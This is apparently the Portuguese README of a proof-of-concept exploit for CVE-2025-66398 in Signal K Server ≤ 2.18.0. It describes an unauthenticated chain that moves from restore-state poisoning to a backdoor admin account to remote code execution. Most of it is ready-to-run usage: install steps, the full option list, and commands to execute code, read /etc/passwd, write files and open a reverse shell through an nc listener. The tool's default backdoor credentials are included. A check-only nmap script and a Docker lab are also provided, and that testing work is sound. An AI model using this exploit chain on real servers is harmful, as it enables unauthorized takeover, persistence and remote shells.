
CVE-2025-66398 — PoC de RCE no Signal K Server ≤ 2.18.0
A CVE-2025-66398 é um problema no Signal K Server em que um atacante não autenticado pode envenenar o estado de restauração do servidor por meio de /skServer/validateBackup e, em seguida, sequestrar a configuração via /skServer/restore para injetar uma conta de administrador backdoor e (opcionalmente) obter RCE ao alterar a estratégia de segurança para um módulo Node.js controlado pelo atacante.
Versões afetadas: Signal K Server ≤ 2.18.0
Impacto (em alto nível): poluição de estado não autenticada → injeção de administrador backdoor → execução remota de código (quando ocorre uma restauração + reinicialização)
/skServer/validateBackup aceita envios não autenticados.http-signalk-cve-2025-66398.nse pronto para uso em varreduras de rede (somente verificação, sem exploração).git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go
go install github.com/joshuavanderpoll/cve-2025-66398@latest
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111
Este PoC tem dois modos:
-check, -command, -read-file, etc. (Recomendado somente após o primeiro modo interativo bem-sucedido)python3 cve-2025-66398.py -h
# ou versão GoLang
./cve-2025-66398 -h
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_/\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
[-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]
CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE
options:
-h, --help show this help message and exit
-target URL Base URL of the Signal K server
-useragent UA User-Agent header for all HTTP requests
-timeout SEC Request timeout in seconds (default: 10)
-target-os OS Target server OS for payload/path adaptation: linux (default) or windows
-signalk-dir DIR Override the Signal K data directory on the target (default: OS-dependent)
-check Test if the target is vulnerable without exploiting it
-admin-user USER Admin username for Phase 2 restore
-admin-pass PASS Admin password for Phase 2 restore
-backdoor-user USER Backdoor username to inject (default: backdoor)
-backdoor-pass PASS Backdoor password to inject (default: H4CK1nd3x!)
-command CMD Execute a command on the server (non-interactive)
-read-file PATH Read a remote file via RCE
-write-file CONTENT PATH
Write CONTENT to PATH on the server via RCE
-code CODE Inject raw Node.js code as the security module
-shell Deploy a reverse shell (requires -lhost and -lport)
-lhost HOST Listener host for reverse shell
-lport PORT Listener port for reverse shell
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# ou versão GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -check

Um script Nmap independente está incluído e realiza a mesma sondagem não autenticada — sem exploração.
# Contra uma porta Signal K conhecida
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>
# Instalar em todo o sistema e executar sem caminho
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>
Exemplo de saída:
PORT STATE SERVICE
9360/tcp open unknown
| http-signalk-cve-2025-66398:
| state: VULNERABLE
| title: Signal K Server Unauthenticated Backup Upload leading to RCE
| IDs: CVE-2025-66398
|_ references: https://github.com/joshuavanderpoll/cve-2025-66398 | https://www.cve.org/CVERecord?id=CVE-2025-66398
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# ou versão GoLang
./cve-2025-66398 -target http://127.0.0.1:3000

O script irá:
.backup malicioso para /skServer/validateBackup (sem autenticação)/skServer/restoreExecute a cadeia completa (Fases 1 → 3) e execute um comando:
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# ou versão GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

Ler um arquivo remoto (Fase 3):
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# ou versão GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

Reverse shell (Fase 3):
nc -lvnp 4444
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# ou versão GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

Observações:
-admin-user/-admin-pass, o script assume que a conta backdoor já está ativa de uma execução anterior.backdoor / H4CK1nd3x! (substitua com -backdoor-user / -backdoor-pass).-signalk-dir <DIR>.Um ambiente Docker Compose autossuficiente com o software vulnerável para testes locais. Consulte DOCKER.md para mais detalhes
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360
Este PoC é exclusivamente para testes de segurança educacionais e autorizados. Não o execute contra sistemas que você não possua ou para os quais não tenha permissão explícita para testar.